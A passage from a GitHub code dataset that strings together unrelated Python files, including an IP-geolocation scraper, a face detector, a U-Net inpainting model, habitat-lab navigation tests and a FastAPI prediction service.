requests\nimport time\nfrom lxml import etree, objectify\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(BASE_DIR)\nfrom req import get_res\n\n\nlogger = logging.getLogger('mysite.error')\n\"\"\"\nDEFAULT_UA = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36\"\nDEFAULT_HEADERS = {\n 'user-agent': DEFAULT_UA, \n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n}\n\n\ndef get_res(url, request_method, form_data=None, headers=DEFAULT_HEADERS):\n if request_method == \"get\":\n res = requests.get(url, headers=headers)\n elif request_method == \"post\":\n res = requests.post(url, headers=headers, data=form_data)\n\n text = None\n try:\n res.raise_for_status()\n res.encoding = res.apparent_encoding\n text = res.text\n except Exception as e:\n res.encoding = res.apparent_encoding\n logger.error(res.text)\n logger.error(e)\n logger.error(\"请求失败,爬虫被封掉了?\")\n return text\n\"\"\"\n\ndef parse_infos(text):\n # parser = etree.XMLParser(remove_comments = True)\n # html = objectify.parse(text, parser=parser)\n city = None\n carrier = None\n if text:\n html = etree.HTML(text)\n try:\n city = html.xpath('//table//tr[3]/td/span')[0].text\n carrier = html.xpath('//table//tr[4]/td/span')[0].text\n except:\n logger.eror(\"这个ip没有城市信息\")\n res_dic = {\"city\": city, \"carrier\": carrier}\n return res_dic\n \n\ndef get_location_from_ip(ip_addr):\n \"\"\"\n 从ip地址获得周边信息,暂时包括所在城市和运营商\n 请求页面:https://www.ipip.net/ip.html\n 请求方法:post\n 解析方法:lxml\n\n Params:\n ip_addr -> str ,形如1.1.1.1\n Return:\n dict ,形如 {'city': '中国香港', 'carrier': 'microsoft.com'}\n\"\"\"\n url_api = \"https://www.ipip.net/ip.html\"\n form_data = {'ip': ip_addr}\n request_method = \"post\"\n headers = {\n 'authority': 'www.ipip.net',\n 'origin': 'https://www.ipip.net',\n 'upgrade-insecure-requests': '1',\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36',\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n 'referer': 'https://www.ipip.net/ip.html',\n 'accept-encoding': 'gzip, deflate, br',\n 'cookie': '__jsluid=d8582d8bf018a8eaad61d8bf06660398; _ga=GA1.2.941283959.1550463698; __cfduid=deae8c973f76fc2bf64245190b7cabcc51550469323; _gid=GA1.2.236318088.1552107049; LOVEAPP_SESSID=fcebab02c7185a4bc4787191541b7aa31d8b6177; Hm_lvt_123ba42b8d6d2f680c91cb43c1e2be64=1552437900,1552485555,1552569570,1552621221; Hm_lpvt_123ba42b8d6d2f680c91cb43c1e2be64=1552621244',\n}\n res_text = get_res(url_api, request_method, headers=headers, form_data=form_data)\n ip_infos = parse_infos(res_text)\n return ip_infos\n\n\ndef get_location_calling_free_api(ip_addr):\n \"\"\"调用免费的接口\n 请求http://freeapi.ipip.net/117.115.44.90\n 接口返回的是长度为4的列表,形如[\"中国\",\"四川\",\"成都\",\"\",\"移动\"]\"\"\"\n # 先拆分出真正的客户端Ip,例如\"117.176.9.89, 161.117.143.161\"\n pat = re.compile(\"(\\d+.){3}\\d+\")\n ip = pat.match(ip_addr.strip()).group()\n\n url_api = \"http://freeapi.ipip.net/\"+ip\n request_method = \"get\"\n\n time.sleep(0.3) # 受到接口访问频率限制,间隔0.2s以上,加大延时也可作为测试,观察在IO耗时很长很长时的异步效果 \n res_text = get_res(url_api, request_method)\n\n pat = re.compile('\\\"(.*?)\\\"')\n res_list = pat.findall(res_text)\n country, province, city, town, carrier = res_list\n city = country + province + city + town\n\n ip_infos = {\"city\": city, \"carrier\": carrier}\n return ip_infos\n \n\nif __name__ == \"__main__\":\n ip_addrs = [\"65.52.175.85\", \"117.176.9.89, 161.117.143.161\"]\n for ip_addr in ip_addrs:\n # ip_infos = get_location_from_ip(ip_addr) 被封了\n ip_infos = get_location_calling_free_api(ip_addr)\n print(ip_addr, ip_infos)\n","repo_name":"tianwei1992/mysite","sub_path":"utils/get_ip_infos.py","file_name":"get_ip_infos.py","file_ext":"py","file_size_in_byte":4304,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"19045250052","text":"word = input()\nside = (len(word)+2)//3\nbottom = len(word)-side-side\nfor i in range(side-1):\n print(word[i],end=\"\")\n for _ in range(bottom):\n print(\" \",end=\"\")\n print(word[len(word)-1-i])\nfor i in range(side-1,side+bottom+1):\n print(word[i],end=\"\")","repo_name":"drawAgirl/PAT","sub_path":"Python3/1031.py","file_name":"1031.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37608633299","text":"\"\"\"\n날짜 : 2023/01/11\n이름 : 서정현\n내용 : 파이썬 클래스 실습하기\n\"\"\"\nfrom sub1.Car import Car\nfrom sub1.Account import Account\n\nsonata = Car(\"sonata\", \"red\", 1000)\nsonata.speedUp()\nsonata.speedDown()\nsonata.show()\n\nbmw = Car(\"BMW\", \"blue\", 4000)\nbmw.speedUp()\nbmw.speedDown()\nbmw.show()\n\nkb = Account(\"국민은행\", \"101-12-1234\", \"김유신\", 30000)\nkb.deposite(5000)\nkb.withdraw(3000)\nkb.show()\n\nhana = Account(\"하나은행\", \"131-22-1234\", \"김춘추\", 20000)\nhana.deposite(5000)\nhana.withdraw(3000)\nhana.show()\nhana._balance -= 1\nprint(hana._balance)\n\n","repo_name":"ooo3345sjh/Python","sub_path":"Ch06/1.클래스.py","file_name":"1.클래스.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38189205332","text":"import argparse, os\nimport numpy as np\nfrom KITTI360.table_KITTI360_to_CL import KITTI360_TO_CL\n\n\ndef read_and_apply_CL(root,seq,frame):\n frame_name = str(int(frame)).zfill(10) + extension\n seq_name_pc = os.path.join(os.path.join(root,'KITTI-360/data_3d_raw/'), '2013_05_28_drive_'+str(int(seq)).zfill(4)+'_sync')\n seq_name_label = os.path.join(os.path.join(root,'KITTI-360/data_3d_labels/'), '2013_05_28_drive_'+str(int(seq)).zfill(4)+'_sync')\n\n path_pc = os.path.join(seq_name_pc, os.path.join(pc, frame_name))\n path_labels = os.path.join(seq_name_label, os.path.join(labels, frame_name))\n\n pointcloud = np.fromfile(path_pc, dtype=np.float32, count=-1).reshape([-1,4])\n sem_label = np.fromfile(path_labels, dtype=np.int16)\n coarse_sem_label = np.zeros(sem_label.shape)\n\n for k in range(len(sem_label)):\n coarse_sem_label[k] = KITTI360_TO_CL[sem_label[k]]\n\n coarse_sem_label = coarse_sem_label.astype(np.int)\n\n return coarse_sem_label\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--sequence\", \"-s\", help=\"sequence number we want to check\", default=\"00\")\n parser.add_argument(\"--frame\", \"-f\", help=\"frame number we want to check\", default=\"000000\")\n parser.add_argument(\"--directory\", \"-d\", help=\"location of the semanticPOSS folder\")\n parser.add_argument(\"--saved\", help=\"flag to save or not the relabelized frame\", default=False)\n args = parser.parse_args()\n\n root_path = args.directory\n coarse_sem_label = read_and_apply_CL(root_path, args.sequence, args.frame)\n\n if args.saved:\n np.save('kitti360_{}_{}_to_macro.bin'.format(args.sequence,args.frame), coarse_sem_label)\n ","repo_name":"JulesSanchez/CoarseLabel","sub_path":"KITTI360/map_KITTI360_to_CL.py","file_name":"map_KITTI360_to_CL.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"62"} +{"seq_id":"40937029473","text":"import sqlite3\r\n\r\n\r\ndef create_db():\r\n try:\r\n sql_con = sqlite3.connect('menu_data.db')\r\n create_table_menu = '''CREATE TABLE MENU_225 (\r\n id INTEGER PRIMARY KEY,\r\n dish TEXT NOT NULL,\r\n bot_command TEXT NOT NULL ,\r\n category TEXT NOT NULL,\r\n ingredients TEXT NOT NULL);'''\r\n\r\n cursor = sql_con.cursor()\r\n print('Connected')\r\n cursor.execute(create_table_menu)\r\n sql_con.commit()\r\n print('table created')\r\n\r\n cursor.close()\r\n\r\n except sqlite3.Error as error:\r\n print(\"Error while creating a sqlite table\", error)\r\n finally:\r\n sql_con.close()\r\n print(\"connection is closed\")\r\n\r\n\r\ndef add_colum():\r\n try:\r\n sql_con = sqlite3.connect('menu_data.db')\r\n add_colum_menu = \"\"\"ALTER TABLE MENU_225 ADD COLUMN rating INTEGER\"\"\"\r\n\r\n cursor = sql_con.cursor()\r\n print('Connected')\r\n cursor.execute(add_colum_menu)\r\n sql_con.commit()\r\n print('column added!')\r\n\r\n cursor.close()\r\n\r\n except sqlite3.Error as error:\r\n print(\"Error while creating a sqlite table\", error)\r\n finally:\r\n sql_con.close()\r\n print(\"connection is closed\")\r\n\r\n\r\n\r\n","repo_name":"RedR1ghtHand/menu_bot","sub_path":"menu_createdb.py","file_name":"menu_createdb.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72800254277","text":"\"\"\"\nCreated on Thu Feb 20 16:29:48 2023\n\n@author: jesseazizi\n\"\"\"\n\ndef nitter_splitter(handles,delimiter,URL,per_URL):\n \n current_URL_index=-1 # Keeps track of which URL to add handles to\n nitter_URLs=[] # Contains all of the nitter URLs that will be created\n \n # Compiling all of the handles into a list\n new_handles=handles.split(delimiter)\n \n # Writing all of the URLs into nitter_URLs\n for i in range(len(new_handles)): # For every element in new_handles...\n new_handles[i]+=\",\" # Append a comma to the end of the element\n if (i%per_URL)==0: # If we've reached the maximum number of handles per URL...\n current_URL_index=current_URL_index+1 # Increment current_URL_index by 1\n nitter_URLs+=[URL] # Append a new element to nitter_URLs containing just the beginning of the URL\n nitter_URLs[current_URL_index]+=\"/\" # Append a forward slash to the new element in nitter_URLs\n nitter_URLs[current_URL_index]+=new_handles[i] # Append a handle (including the comma) to the current URL\n \n # Return the new list of nitter URLs\n return nitter_URLs\n \ndef main():\n the_handles=open(\"handles.txt\",\"r\")\n print(nitter_splitter(the_handles.read(),\"\\n\",\"nitter.lunar.icu\",20))\n \nmain()","repo_name":"jesseazizi/nitter-splitter","sub_path":"nitter_splitter.py","file_name":"nitter_splitter.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74127968516","text":"from env.const import EXPIRATION\n\n\nclass Event:\n \"\"\"\n Event gives information relating to an individual event.\n\n attributes:\n type: string giving the type of event\n priority: integer giving time of event\n ids: tuple giving identifiers for event (lstg, thread_id)\n \"\"\"\n def __init__(self, event_type, priority=None, thread_id=None):\n super(Event, self).__init__()\n # error checking\n assert(isinstance(event_type, str))\n assert(isinstance(priority, int))\n self.type = event_type\n self.priority = priority\n self.thread_id = thread_id\n\n def __lt__(self, other):\n \"\"\"\n Overrides less-than comparison method to make comparisons\n based on priority alone\n\n If events have the same priority, any expiration takes precedence\n over any non-expiration event. Between two non-expiration events,\n lower thread_id takes precendence.\n \"\"\"\n if self.priority == other.priority:\n if self.type == EXPIRATION and other.type != EXPIRATION:\n return True\n elif other.type == EXPIRATION:\n return False\n else:\n assert self.thread_id is not None\n assert other.thread_id is not None\n return self.thread_id < other.thread_id\n else:\n return self.priority < other.priority\n\n","repo_name":"bpiv400/eBay","sub_path":"env/events/Event.py","file_name":"Event.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"24370791073","text":"import cmath\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits import mplot3d\n\n\nfig = plt.figure()\nax = plt.axes(projection='3d')\n\nx = 100000\nkeys = np.linspace( -x, x, 4000)\nprint( len( keys ) )\n\nvalues = np.array( [ cmath.sqrt(i) for i in ( np.add( np.multiply( keys, 9 ), 7 ) ) ] )\n\nprint( f\"Plotting { keys } against { values } ...\" )\n\nax.plot3D( values.imag, values.real, keys )\n\nax.set_xlabel(\"i\")\nax.set_ylabel(\"y\")\nax.set_zlabel(\"n\")\n\n\nplt.show()\n","repo_name":"Arjun-Anubis/py","sub_path":"ninen.py","file_name":"ninen.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11127789189","text":"import cv2\r\nimport time\r\n\r\nimagePath = 'D://facerec//abbatest.png'\r\n\r\n\r\nfaceCascade = cv2.CascadeClassifier('D:/opencv-master/data/haarcascades/haarcascade_frontalface_default.xml')\r\n\r\nimage = cv2.imread(imagePath)\r\ncv2.imshow(\"Faces found\", image)\r\ncv2.waitKey(2000)\r\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\ncv2.imshow(\"Faces found\", gray)\r\ncv2.waitKey(2000)\r\n\r\n\r\n\r\nfaces = faceCascade.detectMultiScale(\r\ngray, \r\nscaleFactor = 1.1,\r\nminNeighbors = 5,\r\nminSize = (30, 30),\r\nmaxSize = (1620,1080),\r\nflags = cv2.CASCADE_SCALE_IMAGE\r\n)\r\n\r\n\r\n\r\nprint (\"Found {0} faces!\".format(len(faces)))\r\n\r\n\r\n#draw a rectangle around the faces\r\nfor(x,y,w,h) in faces:\r\n\tcv2.rectangle(image,(x,y), (x+w, y+h), (0,255,0), 2)\r\n\r\ncv2.imshow(\"Faces found\", image)\r\nk = cv2.waitKey(0)\r\nif k == 27: # wait for ESC key to exit\r\n cv2.destroyAllWindows()\r\nelif k == ord('s'): # wait for 's' key to save and exit\r\n cv2.imwrite('messigray.png',img)\r\n cv2.destroyAllWindows()","repo_name":"neelacharya/Face-Recognition-python","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1006874078","text":"from typing import Optional\n\nfrom dyce import H, P\nfrom dyce.p import RollT\n\n\ndef mechanic(\n die: H,\n base_target: int,\n extra_target: Optional[int],\n count_ones: bool,\n) -> H:\n def _eval(roll: RollT) -> H:\n our_net_wins = 0\n their_net_wins = 0\n\n # Achieving our target goes to us; failing goes to them\n roll_total = sum(roll)\n\n if roll_total >= base_target:\n our_net_wins += 1\n\n if extra_target is not None and roll_total >= extra_target:\n our_net_wins += 1\n else:\n their_net_wins += 1\n\n # Doubles and triples go to us\n distinct_outcomes = set(roll)\n our_net_wins += 3 - len(distinct_outcomes)\n\n # Ones go to them\n if count_ones:\n their_net_wins += sum(outcome == 1 for outcome in roll)\n else:\n their_net_wins += any(outcome == 1 for outcome in roll)\n\n return our_net_wins, their_net_wins # type: ignore\n\n return P.foreach(_eval, roll=P(6, 6, die))\n","repo_name":"posita/dyce-notebooks","sub_path":"notebooks/stack-exchange/doubles-on-2d6-plus-d-200587/doubles_on_2d6_plus_d.py","file_name":"doubles_on_2d6_plus_d.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20315766711","text":"from django.core.paginator import EmptyPage, InvalidPage\nfrom django.http import Http404\n\nfrom ...acl.objectacl import add_acl_to_obj\nfrom ...core.cursorpagination import get_page\nfrom ...core.shortcuts import paginate, pagination_dict\nfrom ...threads.permissions import exclude_invisible_threads\nfrom ...threads.serializers import FeedSerializer\nfrom ...threads.utils import add_categories_to_items\nfrom ...threads.viewmodels import ThreadsRootCategory\n\n\nclass UserThreads:\n def __init__(self, request, profile, start=0):\n root_category = ThreadsRootCategory(request)\n threads_categories = [root_category.unwrap()] + root_category.subcategories\n\n threads_queryset = self.get_threads_queryset(\n request, threads_categories, profile\n )\n\n posts_queryset = (\n self.get_posts_queryset(request.user, profile, threads_queryset)\n .filter(is_event=False, is_hidden=False, is_unapproved=False)\n .order_by(\"-id\")\n )\n\n try:\n list_page = get_page(\n posts_queryset, \"-id\", request.settings.posts_per_page, start\n )\n except (EmptyPage, InvalidPage):\n raise Http404()\n\n posts = list(list_page.object_list)\n threads = []\n\n for post in posts:\n threads.append(post.thread)\n\n add_categories_to_items(\n root_category.unwrap(), threads_categories, posts + threads\n )\n\n add_acl_to_obj(request.user_acl, threads)\n add_acl_to_obj(request.user_acl, posts)\n\n self._user = request.user\n\n self.posts = posts\n self.list_page = list_page\n\n def get_threads_queryset(self, request, threads_categories, profile):\n return exclude_invisible_threads(\n request.user_acl, threads_categories, profile.thread_set\n )\n\n def get_posts_queryset(self, user, profile, threads_queryset):\n return profile.post_set.select_related(\"thread\", \"poster\").filter(\n id__in=threads_queryset.values(\"first_post_id\")\n )\n\n def get_frontend_context(self):\n return {\n \"results\": UserFeedSerializer(\n self.posts, many=True, context={\"user\": self._user}\n ).data,\n \"next\": self.list_page.next,\n }\n\n def get_template_context(self):\n return {\"posts\": self.posts, \"next\": self.list_page.next}\n\n\nUserFeedSerializer = FeedSerializer.exclude_fields(\"poster\")\n","repo_name":"rafalp/Misago","sub_path":"misago/users/viewmodels/threads.py","file_name":"threads.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","stars":2396,"dataset":"github-code","pt":"62"} +{"seq_id":"29822864168","text":"import json\nimport time\n\nimport pytest\n\nimport habitat\nfrom habitat.config.default import get_config\nfrom habitat.core.embodied_task import Episode\nfrom habitat.core.logging import logger\nfrom habitat.datasets import make_dataset\nfrom habitat.datasets.image_nav.instance_image_nav_dataset import (\n InstanceImageNavDatasetV1,\n)\nfrom habitat.tasks.nav.nav import MoveForwardAction\n\nCFG_TEST = \"test/config/habitat/habitat_hm3d_instance_image_nav_test.yaml\"\nEPISODES_LIMIT = 6\nPARTIAL_LOAD_SCENES = 3\n\n\ndef check_json_serialization(dataset: habitat.Dataset):\n start_time = time.time()\n json_str = dataset.to_json()\n logger.info(\n \"JSON conversion finished. {} sec\".format((time.time() - start_time))\n )\n decoded_dataset = InstanceImageNavDatasetV1()\n decoded_dataset.from_json(json_str)\n assert len(decoded_dataset.episodes) == len(dataset.episodes)\n episode = decoded_dataset.episodes[0]\n assert isinstance(episode, Episode)\n\n # The strings won't match exactly as dictionaries don't have an order for the keys\n # Thus we need to parse the json strings and compare the serialized forms\n assert json.loads(decoded_dataset.to_json()) == json.loads(\n json_str\n ), \"JSON dataset encoding/decoding isn't consistent\"\n\n\ndef test_hm3d_instance_image_nav_dataset():\n dataset_config = get_config(CFG_TEST).habitat.dataset\n if not InstanceImageNavDatasetV1.check_config_paths_exist(dataset_config):\n pytest.skip(\n \"Please download the HM3D InstanceImageNav Dataset to data folder.\"\n )\n\n dataset = habitat.make_dataset(\n id_dataset=dataset_config.type, config=dataset_config\n )\n assert dataset\n dataset.episodes = dataset.episodes[0:EPISODES_LIMIT]\n goal_keys = {ep.goal_key for ep in dataset.episodes}\n dataset.goals = {k: v for k, v in dataset.goals.items() if k in goal_keys}\n check_json_serialization(dataset)\n\n\n@pytest.mark.parametrize(\"split\", [\"train\", \"val\"])\ndef test_dataset_splitting(split):\n dataset_config = get_config(CFG_TEST).habitat.dataset\n with habitat.config.read_write(dataset_config):\n dataset_config.split = split\n\n if not InstanceImageNavDatasetV1.check_config_paths_exist(\n dataset_config\n ):\n pytest.skip(\"Test skipped as dataset files are missing.\")\n\n scenes = InstanceImageNavDatasetV1.get_scenes_to_load(\n config=dataset_config\n )\n assert (\n len(scenes) > 0\n ), \"Expected dataset contains separate episode file per scene.\"\n\n dataset_config.content_scenes = scenes[:PARTIAL_LOAD_SCENES]\n full_dataset = make_dataset(\n id_dataset=dataset_config.type, config=dataset_config\n )\n full_episodes = {\n (ep.scene_id, ep.episode_id) for ep in full_dataset.episodes\n }\n\n dataset_config.content_scenes = scenes[: PARTIAL_LOAD_SCENES // 2]\n split1_dataset = make_dataset(\n id_dataset=dataset_config.type, config=dataset_config\n )\n split1_episodes = {\n (ep.scene_id, ep.episode_id) for ep in split1_dataset.episodes\n }\n\n dataset_config.content_scenes = scenes[\n PARTIAL_LOAD_SCENES // 2 : PARTIAL_LOAD_SCENES\n ]\n split2_dataset = make_dataset(\n id_dataset=dataset_config.type, config=dataset_config\n )\n split2_episodes = {\n (ep.scene_id, ep.episode_id) for ep in split2_dataset.episodes\n }\n\n assert full_episodes == split1_episodes.union(\n split2_episodes\n ), \"Split dataset is not equal to full dataset\"\n assert (\n len(split1_episodes.intersection(split2_episodes)) == 0\n ), \"Intersection of split datasets is not the empty set\"\n\n\ndef test_instance_image_nav_task():\n config = get_config(CFG_TEST)\n\n if not InstanceImageNavDatasetV1.check_config_paths_exist(\n config.habitat.dataset\n ):\n pytest.skip(\n \"Please download the HM3D scene InstanceImageNav Datasets to data folder.\"\n )\n\n dataset = make_dataset(\n id_dataset=config.habitat.dataset.type, config=config.habitat.dataset\n )\n with habitat.Env(config=config, dataset=dataset) as env:\n for _ in range(10):\n env.reset()\n while not env.episode_over:\n action = env.action_space.sample()\n habitat.logger.info(\n f\"Action : \"\n f\"{action['action']}, \"\n f\"args: {action['action_args']}.\"\n )\n env.step(action)\n\n metrics = env.get_metrics()\n logger.info(metrics)\n\n with pytest.raises(AssertionError):\n env.step({\"action\": MoveForwardAction.name})\n","repo_name":"facebookresearch/habitat-lab","sub_path":"test/test_instance_image_nav_task.py","file_name":"test_instance_image_nav_task.py","file_ext":"py","file_size_in_byte":4788,"program_lang":"python","lang":"en","doc_type":"code","stars":1467,"dataset":"github-code","pt":"62"} +{"seq_id":"16381119780","text":"import os\nfrom argparse import ArgumentParser\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom pl_bolts.optimizers import linear_warmup_decay\nfrom torch.utils.data import DataLoader\n\nimport pytorch_lightning as pl\nfrom pytorch_lightning.utilities.types import EVAL_DATALOADERS\n\nfrom dataset import FoodDataset\nfrom utils import save_infer_sample\n\n\ndef double_conv(in_channels, out_channels):\n return nn.Sequential(\n nn.Conv2d(in_channels, out_channels, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(inplace=True),\n nn.Conv2d(out_channels, out_channels, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(inplace=True),\n )\n\n\ndef down(in_channels, out_channels):\n return nn.Sequential(\n nn.MaxPool2d(2),\n double_conv(in_channels, out_channels)\n )\n\n\nclass Up(nn.Module):\n def __init__(self, in_channels, out_channels, bilinear=True):\n super().__init__()\n\n if bilinear:\n self.up = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)\n else:\n self.up = nn.ConvTranspose2d(in_channels // 2, in_channels // 2,\n kernel_size=(2, 2), stride=(2, 2))\n\n self.conv = double_conv(in_channels, out_channels)\n\n def forward(self, x1, x2):\n x1 = self.up(x1)\n # [?, C, H, W]\n diff_y = x2.size()[2] - x1.size()[2]\n diff_x = x2.size()[3] - x1.size()[3]\n\n x1 = F.pad(x1, [diff_x // 2, diff_x - diff_x // 2,\n diff_y // 2, diff_y - diff_y // 2])\n x = torch.cat([x2, x1], dim=1) # why 1?\n return self.conv(x)\n\n\nclass Unet(pl.LightningModule):\n def __init__(\n self,\n dataset: str,\n n_channels: int = 3,\n n_classes: int = 3,\n bilinear: bool = False,\n\n learning_rate: float = 1e-3,\n batch_size: int = 4,\n log_dir: str = \"lightning_logs\",\n weight_decay: float = 1e-5,\n warmup_epochs: int = 1,\n max_epochs: int = 50,\n num_workers: int = 4,\n viz_iters: int = 100,\n **kwargs\n ):\n self.save_hyperparameters()\n\n super(Unet, self).__init__()\n self.dataset_dir = dataset\n\n # Model params\n self.n_channels = n_channels\n self.n_classes = n_classes\n self.bilinear = bilinear\n\n self.inc = double_conv(self.n_channels, 64)\n self.down1 = down(64, 128)\n self.down2 = down(128, 256)\n self.dropout1 = nn.Dropout(p=0.2)\n self.down3 = down(256, 512)\n self.down4 = down(512, 512)\n self.up1 = Up(1024, 256, bilinear=self.bilinear)\n self.up2 = Up(512, 128, bilinear=self.bilinear)\n self.dropout2 = nn.Dropout(p=0.2)\n self.up3 = Up(256, 64, bilinear=self.bilinear)\n self.up4 = Up(128, 64, bilinear=self.bilinear)\n self.out = nn.Conv2d(64, self.n_classes, kernel_size=(1, 1))\n\n # Dataset and Loss\n self.mse_mean = torch.nn.MSELoss(reduction=\"mean\")\n self.mse_none = torch.nn.MSELoss(reduction=\"none\")\n\n # Training params\n self.num_train_samples = kwargs.get(\"num_samples\", 100)\n self.num_val_samples = kwargs.get(\"num_val_samples\", 100)\n self.batch_size = batch_size\n self.train_iters_per_epoch = self.num_train_samples // batch_size\n self.learning_rate = learning_rate\n self.log_dir = log_dir\n self.weight_decay = weight_decay\n self.warmup_epochs = warmup_epochs\n self.max_epochs = max_epochs\n self.num_workers = num_workers\n self.viz_iters = min(self.num_val_samples, viz_iters)\n\n def forward(self, x):\n x1 = self.inc(x)\n x2 = self.down1(x1)\n x3 = self.down2(x2)\n x3 = self.dropout1(x3)\n x4 = self.down3(x3)\n x5 = self.down4(x4)\n x = self.up1(x5, x4)\n x = self.up2(x, x3)\n x = self.dropout2(x)\n x = self.up3(x, x2)\n x = self.up4(x, x1)\n return self.out(x)\n\n def shared_step(self, batch):\n # final image in tuple is for online eval\n b_raw_im, b_masked_im, b_num_pixels = batch\n\n # get h representations, bolts resnet returns a list\n b_generated_im = self(b_masked_im)\n\n loss = self.mse_none(b_generated_im, b_raw_im)\n loss = loss.reshape(loss.size(0), -1)\n loss = torch.sum(loss, dim=-1)\n loss = loss / b_num_pixels\n loss = torch.mean(loss)\n\n # TODO: add more weight to masked pixels\n # https://stackoverflow.com/questions/61580037/mseloss-when-mask-is-used\n\n return loss, b_generated_im\n\n def training_step(self, batch, batch_nb):\n loss, _ = self.shared_step(batch)\n self.log(\"train_loss\", loss, on_step=True, on_epoch=False)\n return loss\n\n def validation_step(self, batch, batch_nb):\n loss, b_generated_im = self.shared_step(batch)\n\n # Random save image to view log\n if batch_nb % self.viz_iters == 0:\n b_raw_im, b_masked_im, _ = batch\n save_path = os.path.join(self.log_dir, f\"output_epoch{self.current_epoch:03d}_batch{batch_nb}.png\")\n save_infer_sample(b_raw_im, b_masked_im, b_generated_im, save_path)\n\n self.log(\"val_loss\", loss, on_step=True, on_epoch=True)\n return loss\n\n def configure_optimizers(self):\n optimizer = torch.optim.Adam(\n self.parameters(), lr=self.learning_rate, weight_decay=self.weight_decay)\n\n warmup_steps = self.train_iters_per_epoch * self.warmup_epochs\n total_steps = self.train_iters_per_epoch * self.max_epochs\n\n scheduler = {\n \"scheduler\": torch.optim.lr_scheduler.LambdaLR(\n optimizer,\n linear_warmup_decay(warmup_steps, total_steps, cosine=True),\n ),\n \"interval\": \"step\",\n \"frequency\": 1,\n }\n\n return [optimizer], [scheduler]\n\n @staticmethod\n def add_model_specific_args(parent_parser):\n parser = ArgumentParser(parents=[parent_parser])\n\n # Model params\n parser.add_argument('--n_channels', type=int, default=3)\n parser.add_argument('--n_classes', type=int, default=3)\n\n # Training params\n parser.add_argument('--resume', type=str, default=\"\")\n parser.add_argument('--max_epochs', type=int, default=50)\n parser.add_argument('--warmup_epochs', type=int, default=1)\n parser.add_argument('--bilinear', action=\"store_true\")\n parser.add_argument('--reduction_point', type=float, default=0.05)\n parser.add_argument('--weight_decay', type=float, default=1e-5)\n parser.add_argument('--viz_iters', type=int, default=500)\n parser.add_argument('--num_workers', type=int, default=4)\n parser.add_argument('--batch_size', type=int, default=4)\n parser.add_argument('--learning_rate', type=float, default=1e-4)\n return parser\n\n\nif __name__ == '__main__':\n p = ArgumentParser(add_help=False)\n p = Unet.add_model_specific_args(p)\n args = p.parse_args()\n net = Unet(**args.__dict__)\n\n im = torch.rand((2, 3, 512, 512))\n out = net(im)\n print(out.shape)\n","repo_name":"nnt296/demo_inpainting","sub_path":"unet.py","file_name":"unet.py","file_ext":"py","file_size_in_byte":7273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74515649156","text":"from fastapi import FastAPI, Response, Depends, HTTPException, Security, status\nfrom fastapi.security import HTTPBasicCredentials, HTTPBasic\nfrom typing import Optional\nimport uvicorn\nfrom auth_help import has_rights\nfrom function import preprocess_text,load_model_db,get_prediction,get_score\nimport asyncio\n\napi = FastAPI(\n title= \"Disneyland review rating prediction API\",\n description= \"Use to predict the score of a customer based on his comment\",\n version= \"1.0.0\",\n openapi_tags=[\n {\n 'name': 'home',\n 'description': 'welcome and confirm API is online'\n },\n {\n 'name': 'performance',\n 'description': 'functions that is used to inform user on model performance score'\n },\n {\n 'name': 'prediction',\n 'description': 'functions that is used to use one of the models to make a prediction'\n }\n\n])\n\n\nsecurity = HTTPBasic()\navailable_model = ['rf_global','lr_global','dt_global','rf_Disneyland_HongKong','rf_Disneyland_California','rf_Disneyland_Paris']\n\n@api.get('/', tags=['home'])\ndef get_index():\n \"\"\" \n Welcome you and inform if API is online\n \"\"\"\n return {'welcome to' : 'Disneyland review rating prediction API',\n 'service status': 'Online'}\n\n@api.get('/permission', tags=['home'])\nasync def credentials_validity(credentials: HTTPBasicCredentials = Depends(security)):\n \"\"\" \n Use to test the validity of your credentials \n \"\"\"\n right = has_rights(credentials.username, credentials.password)\n \n if not right:\n raise HTTPException(\n status_code= status.HTTP_401_UNAUTHORIZED ,\n detail= \"Could not validate credentials\",\n headers= {\"WWW-Authenticate\": \"Basic\"},\n )\n else:\n return 